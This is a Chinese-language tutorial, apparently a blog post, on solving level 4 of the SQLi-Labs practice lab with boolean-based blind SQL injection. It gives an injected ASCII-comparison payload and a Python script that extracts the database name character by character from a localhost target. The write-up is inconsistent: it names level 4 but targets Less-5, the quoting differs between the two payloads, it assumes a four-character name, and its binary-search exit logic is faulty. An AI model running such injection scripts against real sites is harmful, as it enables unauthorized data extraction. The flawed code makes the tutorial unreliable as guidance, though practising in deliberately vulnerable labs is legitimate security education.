sqli-labs 第四关

### SQL注入实验环境第四关解法

在SQLi-Labs环境中，第四关涉及到了基于布尔的SQL盲注技术[^4]。

对于这关而言，目标是从应用程序中获取数据库名称的信息。通过向应用发送特定构造的请求并观察响应的变化来推断出数据库名字符的内容。已知当条件成立时用户名的第一个数据为`admin3`；而当条件不成立时则显示的是`Dumb`作为首个记录中的用户名。

为了确定数据库名字母的具体位置上的字符是什么，可以利用ASCII码比较的方法逐位猜测直至整个字符串被还原出来。例如要验证数据库首字母是否小于等于某个值：

?id=1 AND ASCII(SUBSTR((SELECT DATABASE()), 1, 1)) <= GUESS_VALUE --

如果上述查询返回的结果表明存在`admin3`这样的条目，则说明所猜数值大于实际字符对应的ASCII码；反之如果没有找到匹配项即意味着当前假设错误。

编写Python脚本来自动化此过程会极大地提高效率，在循环内不断调整猜测范围直到完全破解出完整的数据库名称为止。下面是一个简单的示例代码片段用于演示如何实现这一点（注意：仅限于教育目的）:

import requests

target_url = "http://127.0.0.1/sqli-labs-master/Less-5/"
true_indicator = 'admin3'
false_indicator = 'Dumb'

def check_condition(payload):
    response = requests.get(target_url, params={'id': payload})
    return true_indicator in response.text

for position in range(1, len('sqli') + 1):  # 假设我们知道长度不超过'sqli'这个词
    low, high = 32, 126  # 可见字符集内的ASCII范围
    
    while low <= high:
        mid = (low + high) // 2
        test_payload = f"1' AND ASCII(SUBSTRING((SELECT DATABASE()) FROM {position} FOR 1)) <= {mid} --"
        
        if check_condition(test_payload):
            if not check_condition(f"1' AND ASCII(SUBSTRING((SELECT DATABASE()) FROM {position} FOR 1)) < {mid} --"):
                break
                
            high = mid - 1
            
        else:
            low = mid + 1
        
    found_char = chr(mid)
    print(f"Character at position {position}: '{found_char}'")
    
print("Database name has been fully retrieved.")

这段程序将会依次尝试不同的ASCII码值，并依据服务器反馈决定下一步操作方向，最终输出构成数据库全名的一系列字符。